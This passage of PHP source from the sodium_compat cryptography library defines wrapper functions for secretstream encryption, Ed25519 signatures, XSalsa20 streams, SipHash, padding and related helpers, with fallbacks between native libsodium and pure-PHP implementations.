ParagonIE_Sodium_Crypto32::secretbox_xchacha20poly1305_open($ciphertext,
$nonce, $key);
        }
        return
ParagonIE_Sodium_Crypto::secretbox_xchacha20poly1305_open($ciphertext,
$nonce, $key);
    }

    /**
     * @param string $key
     * @return array<int, string> Returns a state and a header.
     * @throws Exception
     * @throws SodiumException
     */
    public static function
crypto_secretstream_xchacha20poly1305_init_push($key)
    {
        if (PHP_INT_SIZE === 4) {
            return
ParagonIE_Sodium_Crypto32::secretstream_xchacha20poly1305_init_push($key);
        }
        return
ParagonIE_Sodium_Crypto::secretstream_xchacha20poly1305_init_push($key);
    }

    /**
     * @param string $header
     * @param string $key
     * @return string Returns a state.
     * @throws Exception
     */
    public static function
crypto_secretstream_xchacha20poly1305_init_pull($header, $key)
    {
        if (ParagonIE_Sodium_Core_Util::strlen($header) <
self::CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_HEADERBYTES) {
            throw new SodiumException(
                'header size should be
SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_HEADERBYTES bytes'
            );
        }
        if (PHP_INT_SIZE === 4) {
            return
ParagonIE_Sodium_Crypto32::secretstream_xchacha20poly1305_init_pull($key,
$header);
        }
        return
ParagonIE_Sodium_Crypto::secretstream_xchacha20poly1305_init_pull($key,
$header);
    }

    /**
     * @param string $state
     * @param string $msg
     * @param string $aad
     * @param int $tag
     * @return string
     * @throws SodiumException
     */
    public static function
crypto_secretstream_xchacha20poly1305_push(&$state, $msg, $aad =
'', $tag = 0)
    {
        if (PHP_INT_SIZE === 4) {
            return
ParagonIE_Sodium_Crypto32::secretstream_xchacha20poly1305_push(
                $state,
                $msg,
                $aad,
                $tag
            );
        }
        return
ParagonIE_Sodium_Crypto::secretstream_xchacha20poly1305_push(
            $state,
            $msg,
            $aad,
            $tag
        );
    }

    /**
     * @param string $state
     * @param string $msg
     * @param string $aad
     * @return bool|array{0: string, 1: int}
     * @throws SodiumException
     */
    public static function
crypto_secretstream_xchacha20poly1305_pull(&$state, $msg, $aad =
'')
    {
        if (PHP_INT_SIZE === 4) {
            return
ParagonIE_Sodium_Crypto32::secretstream_xchacha20poly1305_pull(
                $state,
                $msg,
                $aad
            );
        }
        return
ParagonIE_Sodium_Crypto::secretstream_xchacha20poly1305_pull(
            $state,
            $msg,
            $aad
        );
    }

    /**
     * @return string
     * @throws Exception
     */
    public static function crypto_secretstream_xchacha20poly1305_keygen()
    {
        return
random_bytes(self::CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_KEYBYTES);
    }

    /**
     * @param string $state
     * @return void
     * @throws SodiumException
     */
    public static function
crypto_secretstream_xchacha20poly1305_rekey(&$state)
    {
        if (PHP_INT_SIZE === 4) {
           
ParagonIE_Sodium_Crypto32::secretstream_xchacha20poly1305_rekey($state);
        } else {
           
ParagonIE_Sodium_Crypto::secretstream_xchacha20poly1305_rekey($state);
        }
    }

    /**
     * Calculates a SipHash-2-4 hash of a message for a given key.
     *
     * @param string $message Input message
     * @param string $key SipHash-2-4 key
     * @return string         Hash
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedInferredReturnType
     * @psalm-suppress MixedReturnStatement
     */
    public static function crypto_shorthash($message, $key)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($message,
'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($key,
'string', 2);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($key) !==
self::CRYPTO_SHORTHASH_KEYBYTES) {
            throw new SodiumException('Argument 2 must be
CRYPTO_SHORTHASH_KEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_shorthash($message, $key);
        }
        if (self::use_fallback('crypto_shorthash')) {
            return (string)
call_user_func('\\Sodium\\crypto_shorthash', $message, $key);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Core32_SipHash::sipHash24($message,
$key);
        }
        return ParagonIE_Sodium_Core_SipHash::sipHash24($message, $key);
    }

    /**
     * Return a secure random key for use with crypto_shorthash
     *
     * @return string
     * @throws Exception
     * @throws Error
     */
    public static function crypto_shorthash_keygen()
    {
        return random_bytes(self::CRYPTO_SHORTHASH_KEYBYTES);
    }

    /**
     * Returns a signed message. You probably want crypto_sign_detached()
     * instead, which only returns the signature.
     *
     * Algorithm: Ed25519 (EdDSA over Curve25519)
     *
     * @param string $message Message to be signed.
     * @param string $secretKey Secret signing key.
     * @return string           Signed message (signature is prefixed).
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedInferredReturnType
     * @psalm-suppress MixedReturnStatement
     */
    public static function crypto_sign($message, $secretKey)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($message,
'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($secretKey,
'string', 2);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !==
self::CRYPTO_SIGN_SECRETKEYBYTES) {
            throw new SodiumException('Argument 2 must be
CRYPTO_SIGN_SECRETKEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_sign($message, $secretKey);
        }
        if (self::use_fallback('crypto_sign')) {
            return (string)
call_user_func('\\Sodium\\crypto_sign', $message, $secretKey);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::sign($message, $secretKey);
        }
        return ParagonIE_Sodium_Crypto::sign($message, $secretKey);
    }

    /**
     * Validates a signed message then returns the message.
     *
     * @param string $signedMessage A signed message
     * @param string $publicKey A public key
     * @return string               The original message (if the signature
is
     *                              valid for this public key)
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedInferredReturnType
     * @psalm-suppress MixedReturnStatement
     */
    public static function crypto_sign_open($signedMessage, $publicKey)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($signedMessage,
'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($publicKey,
'string', 2);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($signedMessage) <
self::CRYPTO_SIGN_BYTES) {
            throw new SodiumException('Argument 1 must be at least
CRYPTO_SIGN_BYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($publicKey) !==
self::CRYPTO_SIGN_PUBLICKEYBYTES) {
            throw new SodiumException('Argument 2 must be
CRYPTO_SIGN_PUBLICKEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            /**
             * @psalm-suppress InvalidReturnStatement
             * @psalm-suppress FalsableReturnStatement
             */
            return sodium_crypto_sign_open($signedMessage, $publicKey);
        }
        if (self::use_fallback('crypto_sign_open')) {
            return call_user_func('\\Sodium\\crypto_sign_open',
$signedMessage, $publicKey);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::sign_open($signedMessage,
$publicKey);
        }
        return ParagonIE_Sodium_Crypto::sign_open($signedMessage,
$publicKey);
    }

    /**
     * Generate a new random Ed25519 keypair.
     *
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function crypto_sign_keypair()
    {
        if (self::useNewSodiumAPI()) {
            return sodium_crypto_sign_keypair();
        }
        if (self::use_fallback('crypto_sign_keypair')) {
            return (string)
call_user_func('\\Sodium\\crypto_sign_keypair');
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Core32_Ed25519::keypair();
        }
        return ParagonIE_Sodium_Core_Ed25519::keypair();
    }

    /**
     * @param string $sk
     * @param string $pk
     * @return string
     * @throws SodiumException
     */
    public static function
crypto_sign_keypair_from_secretkey_and_publickey($sk, $pk)
    {
        ParagonIE_Sodium_Core_Util::declareScalarType($sk,
'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($pk,
'string', 1);
        $sk = (string) $sk;
        $pk = (string) $pk;

        if (ParagonIE_Sodium_Core_Util::strlen($sk) !==
self::CRYPTO_SIGN_SECRETKEYBYTES) {
            throw new SodiumException('secretkey should be
SODIUM_CRYPTO_SIGN_SECRETKEYBYTES bytes');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($pk) !==
self::CRYPTO_SIGN_PUBLICKEYBYTES) {
            throw new SodiumException('publickey should be
SODIUM_CRYPTO_SIGN_PUBLICKEYBYTES bytes');
        }

        if (self::useNewSodiumAPI()) {
            return
sodium_crypto_sign_keypair_from_secretkey_and_publickey($sk, $pk);
        }
        return $sk . $pk;
    }

    /**
     * Generate an Ed25519 keypair from a seed.
     *
     * @param string $seed Input seed
     * @return string      Keypair
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_sign_seed_keypair($seed)
    {
        ParagonIE_Sodium_Core_Util::declareScalarType($seed,
'string', 1);

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_sign_seed_keypair($seed);
        }
        if (self::use_fallback('crypto_sign_keypair')) {
            return (string)
call_user_func('\\Sodium\\crypto_sign_seed_keypair', $seed);
        }
        $publicKey = '';
        $secretKey = '';
        if (PHP_INT_SIZE === 4) {
            ParagonIE_Sodium_Core32_Ed25519::seed_keypair($publicKey,
$secretKey, $seed);
        } else {
            ParagonIE_Sodium_Core_Ed25519::seed_keypair($publicKey,
$secretKey, $seed);
        }
        return $secretKey . $publicKey;
    }

    /**
     * Extract an Ed25519 public key from an Ed25519 keypair.
     *
     * @param string $keypair Keypair
     * @return string         Public key
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_sign_publickey($keypair)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($keypair,
'string', 1);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($keypair) !==
self::CRYPTO_SIGN_KEYPAIRBYTES) {
            throw new SodiumException('Argument 1 must be
CRYPTO_SIGN_KEYPAIRBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_sign_publickey($keypair);
        }
        if (self::use_fallback('crypto_sign_publickey')) {
            return (string)
call_user_func('\\Sodium\\crypto_sign_publickey', $keypair);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Core32_Ed25519::publickey($keypair);
        }
        return ParagonIE_Sodium_Core_Ed25519::publickey($keypair);
    }

    /**
     * Calculate an Ed25519 public key from an Ed25519 secret key.
     *
     * @param string $secretKey Your Ed25519 secret key
     * @return string           The corresponding Ed25519 public key
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_sign_publickey_from_secretkey($secretKey)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($secretKey,
'string', 1);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !==
self::CRYPTO_SIGN_SECRETKEYBYTES) {
            throw new SodiumException('Argument 1 must be
CRYPTO_SIGN_SECRETKEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_sign_publickey_from_secretkey($secretKey);
        }
        if
(self::use_fallback('crypto_sign_publickey_from_secretkey')) {
            return (string)
call_user_func('\\Sodium\\crypto_sign_publickey_from_secretkey',
$secretKey);
        }
        if (PHP_INT_SIZE === 4) {
            return
ParagonIE_Sodium_Core32_Ed25519::publickey_from_secretkey($secretKey);
        }
        return
ParagonIE_Sodium_Core_Ed25519::publickey_from_secretkey($secretKey);
    }

    /**
     * Extract an Ed25519 secret key from an Ed25519 keypair.
     *
     * @param string $keypair Keypair
     * @return string         Secret key
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_sign_secretkey($keypair)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($keypair,
'string', 1);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($keypair) !==
self::CRYPTO_SIGN_KEYPAIRBYTES) {
            throw new SodiumException('Argument 1 must be
CRYPTO_SIGN_KEYPAIRBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_sign_secretkey($keypair);
        }
        if (self::use_fallback('crypto_sign_secretkey')) {
            return (string)
call_user_func('\\Sodium\\crypto_sign_secretkey', $keypair);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Core32_Ed25519::secretkey($keypair);
        }
        return ParagonIE_Sodium_Core_Ed25519::secretkey($keypair);
    }

    /**
     * Calculate the Ed25519 signature of a message and return ONLY the
signature.
     *
     * Algorithm: Ed25519 (EdDSA over Curve25519)
     *
     * @param string $message Message to be signed
     * @param string $secretKey Secret signing key
     * @return string           Digital signature
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_sign_detached($message, $secretKey)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($message,
'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($secretKey,
'string', 2);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($secretKey) !==
self::CRYPTO_SIGN_SECRETKEYBYTES) {
            throw new SodiumException('Argument 2 must be
CRYPTO_SIGN_SECRETKEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_sign_detached($message, $secretKey);
        }
        if (self::use_fallback('crypto_sign_detached')) {
            return (string)
call_user_func('\\Sodium\\crypto_sign_detached', $message,
$secretKey);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::sign_detached($message,
$secretKey);
        }
        return ParagonIE_Sodium_Crypto::sign_detached($message,
$secretKey);
    }

    /**
     * Verify the Ed25519 signature of a message.
     *
     * @param string $signature Digital sginature
     * @param string $message Message to be verified
     * @param string $publicKey Public key
     * @return bool             TRUE if this signature is good for this
public key;
     *                          FALSE otherwise
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_sign_verify_detached($signature,
$message, $publicKey)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($signature,
'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($message,
'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($publicKey,
'string', 3);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($signature) !==
self::CRYPTO_SIGN_BYTES) {
            throw new SodiumException('Argument 1 must be
CRYPTO_SIGN_BYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($publicKey) !==
self::CRYPTO_SIGN_PUBLICKEYBYTES) {
            throw new SodiumException('Argument 3 must be
CRYPTO_SIGN_PUBLICKEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_sign_verify_detached($signature, $message,
$publicKey);
        }
        if (self::use_fallback('crypto_sign_verify_detached')) {
            return (bool) call_user_func(
                '\\Sodium\\crypto_sign_verify_detached',
                $signature,
                $message,
                $publicKey
            );
        }
        if (PHP_INT_SIZE === 4) {
            return
ParagonIE_Sodium_Crypto32::sign_verify_detached($signature, $message,
$publicKey);
        }
        return ParagonIE_Sodium_Crypto::sign_verify_detached($signature,
$message, $publicKey);
    }

    /**
     * Convert an Ed25519 public key to a Curve25519 public key
     *
     * @param string $pk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_sign_ed25519_pk_to_curve25519($pk)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($pk,
'string', 1);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($pk) <
self::CRYPTO_SIGN_PUBLICKEYBYTES) {
            throw new SodiumException('Argument 1 must be at least
CRYPTO_SIGN_PUBLICKEYBYTES long.');
        }
        if (self::useNewSodiumAPI()) {
            if
(is_callable('crypto_sign_ed25519_pk_to_curve25519')) {
                return (string)
sodium_crypto_sign_ed25519_pk_to_curve25519($pk);
            }
        }
        if
(self::use_fallback('crypto_sign_ed25519_pk_to_curve25519')) {
            return (string)
call_user_func('\\Sodium\\crypto_sign_ed25519_pk_to_curve25519',
$pk);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Core32_Ed25519::pk_to_curve25519($pk);
        }
        return ParagonIE_Sodium_Core_Ed25519::pk_to_curve25519($pk);
    }

    /**
     * Convert an Ed25519 secret key to a Curve25519 secret key
     *
     * @param string $sk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_sign_ed25519_sk_to_curve25519($sk)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($sk,
'string', 1);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($sk) <
self::CRYPTO_SIGN_SEEDBYTES) {
            throw new SodiumException('Argument 1 must be at least
CRYPTO_SIGN_SEEDBYTES long.');
        }
        if (self::useNewSodiumAPI()) {
            if
(is_callable('crypto_sign_ed25519_sk_to_curve25519')) {
                return sodium_crypto_sign_ed25519_sk_to_curve25519($sk);
            }
        }
        if
(self::use_fallback('crypto_sign_ed25519_sk_to_curve25519')) {
            return (string)
call_user_func('\\Sodium\\crypto_sign_ed25519_sk_to_curve25519',
$sk);
        }

        $h = hash('sha512',
ParagonIE_Sodium_Core_Util::substr($sk, 0, 32), true);
        $h[0] = ParagonIE_Sodium_Core_Util::intToChr(
            ParagonIE_Sodium_Core_Util::chrToInt($h[0]) & 248
        );
        $h[31] = ParagonIE_Sodium_Core_Util::intToChr(
            (ParagonIE_Sodium_Core_Util::chrToInt($h[31]) & 127) | 64
        );
        return ParagonIE_Sodium_Core_Util::substr($h, 0, 32);
    }

    /**
     * Expand a key and nonce into a keystream of pseudorandom bytes.
     *
     * @param int $len Number of bytes desired
     * @param string $nonce Number to be used Once; must be 24 bytes
     * @param string $key XSalsa20 key
     * @return string       Pseudorandom stream that can be XORed with
messages
     *                      to provide encryption (but not authentication;
see
     *                      Poly1305 or crypto_auth() for that, which is
not
     *                      optional for security)
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_stream($len, $nonce, $key)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($len,
'int', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce,
'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($key,
'string', 3);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !==
self::CRYPTO_STREAM_NONCEBYTES) {
            throw new SodiumException('Argument 2 must be
CRYPTO_SECRETBOX_NONCEBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !==
self::CRYPTO_STREAM_KEYBYTES) {
            throw new SodiumException('Argument 3 must be
CRYPTO_STREAM_KEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_stream($len, $nonce, $key);
        }
        if (self::use_fallback('crypto_stream')) {
            return (string)
call_user_func('\\Sodium\\crypto_stream', $len, $nonce, $key);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Core32_XSalsa20::xsalsa20($len, $nonce,
$key);
        }
        return ParagonIE_Sodium_Core_XSalsa20::xsalsa20($len, $nonce,
$key);
    }

    /**
     * DANGER! UNAUTHENTICATED ENCRYPTION!
     *
     * Unless you are following expert advice, do not used this feature.
     *
     * Algorithm: XSalsa20
     *
     * This DOES NOT provide ciphertext integrity.
     *
     * @param string $message Plaintext message
     * @param string $nonce Number to be used Once; must be 24 bytes
     * @param string $key Encryption key
     * @return string         Encrypted text which is vulnerable to chosen-
     *                        ciphertext attacks unless you implement some
     *                        other mitigation to the ciphertext (i.e.
     *                        Encrypt then MAC)
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_stream_xor($message, $nonce, $key)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($message,
'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce,
'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($key,
'string', 3);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !==
self::CRYPTO_STREAM_NONCEBYTES) {
            throw new SodiumException('Argument 2 must be
CRYPTO_SECRETBOX_NONCEBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !==
self::CRYPTO_STREAM_KEYBYTES) {
            throw new SodiumException('Argument 3 must be
CRYPTO_SECRETBOX_KEYBYTES long.');
        }

        if (self::useNewSodiumAPI()) {
            return sodium_crypto_stream_xor($message, $nonce, $key);
        }
        if (self::use_fallback('crypto_stream_xor')) {
            return (string)
call_user_func('\\Sodium\\crypto_stream_xor', $message, $nonce,
$key);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Core32_XSalsa20::xsalsa20_xor($message,
$nonce, $key);
        }
        return ParagonIE_Sodium_Core_XSalsa20::xsalsa20_xor($message,
$nonce, $key);
    }

    /**
     * Return a secure random key for use with crypto_stream
     *
     * @return string
     * @throws Exception
     * @throws Error
     */
    public static function crypto_stream_keygen()
    {
        return random_bytes(self::CRYPTO_STREAM_KEYBYTES);
    }

    /**
     * Cache-timing-safe implementation of hex2bin().
     *
     * @param string $string Hexadecimal string
     * @return string        Raw binary string
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress TooFewArguments
     * @psalm-suppress MixedArgument
     */
    public static function hex2bin($string)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($string,
'string', 1);

        if (self::useNewSodiumAPI()) {
            if (is_callable('sodium_hex2bin')) {
                return (string) sodium_hex2bin($string);
            }
        }
        if (self::use_fallback('hex2bin')) {
            return (string) call_user_func('\\Sodium\\hex2bin',
$string);
        }
        return ParagonIE_Sodium_Core_Util::hex2bin($string);
    }

    /**
     * Increase a string (little endian)
     *
     * @param string $var
     *
     * @return void
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function increment(&$var)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($var,
'string', 1);

        if (self::useNewSodiumAPI()) {
            sodium_increment($var);
            return;
        }
        if (self::use_fallback('increment')) {
            $func = '\\Sodium\\increment';
            $func($var);
            return;
        }

        $len = ParagonIE_Sodium_Core_Util::strlen($var);
        $c = 1;
        $copy = '';
        for ($i = 0; $i < $len; ++$i) {
            $c += ParagonIE_Sodium_Core_Util::chrToInt(
                ParagonIE_Sodium_Core_Util::substr($var, $i, 1)
            );
            $copy .= ParagonIE_Sodium_Core_Util::intToChr($c);
            $c >>= 8;
        }
        $var = $copy;
    }

    /**
     * The equivalent to the libsodium minor version we aim to be
compatible
     * with (sans pwhash and memzero).
     *
     * @return int
     */
    public static function library_version_major()
    {
        if (self::useNewSodiumAPI() &&
defined('SODIUM_LIBRARY_MAJOR_VERSION')) {
            return SODIUM_LIBRARY_MAJOR_VERSION;
        }
        if (self::use_fallback('library_version_major')) {
            /** @psalm-suppress UndefinedFunction */
            return (int)
call_user_func('\\Sodium\\library_version_major');
        }
        return self::LIBRARY_VERSION_MAJOR;
    }

    /**
     * The equivalent to the libsodium minor version we aim to be
compatible
     * with (sans pwhash and memzero).
     *
     * @return int
     */
    public static function library_version_minor()
    {
        if (self::useNewSodiumAPI() &&
defined('SODIUM_LIBRARY_MINOR_VERSION')) {
            return SODIUM_LIBRARY_MINOR_VERSION;
        }
        if (self::use_fallback('library_version_minor')) {
            /** @psalm-suppress UndefinedFunction */
            return (int)
call_user_func('\\Sodium\\library_version_minor');
        }
        return self::LIBRARY_VERSION_MINOR;
    }

    /**
     * Compare two strings.
     *
     * @param string $left
     * @param string $right
     * @return int
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function memcmp($left, $right)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($left,
'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($right,
'string', 2);

        if (self::useNewSodiumAPI()) {
            return sodium_memcmp($left, $right);
        }
        if (self::use_fallback('memcmp')) {
            return (int) call_user_func('\\Sodium\\memcmp',
$left, $right);
        }
        /** @var string $left */
        /** @var string $right */
        return ParagonIE_Sodium_Core_Util::memcmp($left, $right);
    }

    /**
     * It's actually not possible to zero memory buffers in PHP. You
need the
     * native library for that.
     *
     * @param string|null $var
     * @param-out string|null $var
     *
     * @return void
     * @throws SodiumException (Unless libsodium is installed)
     * @throws TypeError
     * @psalm-suppress TooFewArguments
     */
    public static function memzero(&$var)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($var,
'string', 1);

        if (self::useNewSodiumAPI()) {
            /** @psalm-suppress MixedArgument */
            sodium_memzero($var);
            return;
        }
        if (self::use_fallback('memzero')) {
            $func = '\\Sodium\\memzero';
            $func($var);
            if ($var === null) {
                return;
            }
        }
        // This is the best we can do.
        throw new SodiumException(
            'This is not implemented in sodium_compat, as it is not
possible to securely wipe memory from PHP. ' .
            'To fix this error, make sure libsodium is installed and
the PHP extension is enabled.'
        );
    }

    /**
     * @param string $unpadded
     * @param int $blockSize
     * @param bool $dontFallback
     * @return string
     * @throws SodiumException
     */
    public static function pad($unpadded, $blockSize, $dontFallback =
false)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($unpadded,
'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($blockSize,
'int', 2);

        $unpadded = (string) $unpadded;
        $blockSize = (int) $blockSize;

        if (self::useNewSodiumAPI() && !$dontFallback) {
            return (string) sodium_pad($unpadded, $blockSize);
        }

        if ($blockSize <= 0) {
            throw new SodiumException(
                'block size cannot be less than 1'
            );
        }
        $unpadded_len = ParagonIE_Sodium_Core_Util::strlen($unpadded);
        $xpadlen = ($blockSize - 1);
        if (($blockSize & ($blockSize - 1)) === 0) {
            $xpadlen -= $unpadded_len & ($blockSize - 1);
        } else {
            $xpadlen -= $unpadded_len % $blockSize;
        }

        $xpadded_len = $unpadded_len + $xpadlen;
        $padded = str_repeat("\0", $xpadded_len - 1);
        if ($unpadded_len > 0) {
            $st = 1;
            $i = 0;
            $k = $unpadded_len;
            for ($j = 0; $j <= $xpadded_len; ++$j) {
                $i = (int) $i;
                $k = (int) $k;
                $st = (int) $st;
                if ($j >= $unpadded_len) {
                    $padded[$j] = "\0";
                } else {
                    $padded[$j] = $unpadded[$j];
                }
                /** @var int $k */
                $k -= $st;
                $st = (int) (~(
                            (
                                (
                                    ($k >> 48)
                                        |
                                    ($k >> 32)
                                        |
                                    ($k >> 16)
                                        |
                                    $k
                                ) - 1
                            ) >> 16
                        )
                    ) & 1;
                $i += $st;
            }
        }

        $mask = 0;
        $tail = $xpadded_len;
        for ($i = 0; $i < $blockSize; ++$i) {
            # barrier_mask = (unsigned char)
            #     (((i ^ xpadlen) - 1U) >> ((sizeof(size_t) - 1U) *
CHAR_BIT));
            $barrier_mask = (($i ^ $xpadlen) -1) >> ((PHP_INT_SIZE
<< 3) - 1);
            # tail[-i] = (tail[-i] & mask) | (0x80 & barrier_mask);
            $padded[$tail - $i] = ParagonIE_Sodium_Core_Util::intToChr(
                (ParagonIE_Sodium_Core_Util::chrToInt($padded[$tail - $i])
& $mask)
                    |
                (0x80 & $barrier_mask)
            );
            # mask |= barrier_mask;
            $mask |= $barrier_mask;
        }
        return $padded;
    }

    /**
     * @param string $padded
     * @param int $blockSize
     * @param bool $dontFallback
     * @return string
     * @throws SodiumException
     */
    public static function unpad($padded, $blockSize, $dontFallback =
false)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($padded,
'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($blockSize,
'int', 2);

        $padded = (string) $padded;
        $blockSize = (int) $blockSize;

        if (self::useNewSodiumAPI() && !$dontFallback) {
            return (string) sodium_unpad($padded, $blockSize);
        }
        if ($blockSize <= 0) {
            throw new SodiumException('block size cannot be less than
1');
        }
        $padded_len = ParagonIE_Sodium_Core_Util::strlen($padded);
        if ($padded_len < $blockSize) {
            throw new SodiumException('invalid padding');
        }

        # tail = &padded[padded_len - 1U];
        $tail = $padded_len - 1;

        $acc = 0;
        $valid = 0;
        $pad_len = 0;

        $found = 0;
        for ($i = 0; $i < $blockSize; ++$i) {
            # c = tail[-i];
            $c = ParagonIE_Sodium_Core_Util::chrToInt($padded[$tail - $i]);

            # is_barrier =
            #     (( (acc - 1U) & (pad_len - 1U) & ((c ^ 0x80) -
1U) ) >> 8) & 1U;
            $is_barrier = (
                (
                    ($acc - 1) & ($pad_len - 1) & (($c ^ 80) - 1)
                ) >> 7
            ) & 1;
            $is_barrier &= ~$found;
            $found |= $is_barrier;

            # acc |= c;
            $acc |= $c;

            # pad_len |= i & (1U + ~is_barrier);
            $pad_len |= $i & (1 + ~$is_barrier);

            # valid |= (unsigned char) is_barrier;
            $valid |= ($is_barrier & 0xff);
        }
        # unpadded_len = padded_len - 1U - pad_len;
        $unpadded_len = $padded_len - 1 - $pad_len;
        if ($valid !== 1) {
            throw new SodiumException('invalid padding');
        }
        return ParagonIE_Sodium_Core_Util::substr($padded, 0,
$unpadded_len);
    }

    /**
     * Will sodium_compat run fast on the current hardware and PHP
configuration?
     *
     * @return bool
     */
    public static function polyfill_is_fast()
    {
        if (extension_loaded('sodium')) {
            return true;
        }
        if (extension_loaded('libsodium')) {
            return true;
        }
        return PHP_INT_SIZE === 8;
    }

    /**
     * Generate a string of bytes from the kernel's CSPRNG.
     * Proudly uses /dev/urandom (if getrandom(2) is not available).
     *
     * @param int $numBytes
     * @return string
     * @throws Exception
     * @throws TypeError
     */
    public static function randombytes_buf($numBytes)
    {
        /* Type checks: */
        if (!is_int($numBytes)) {
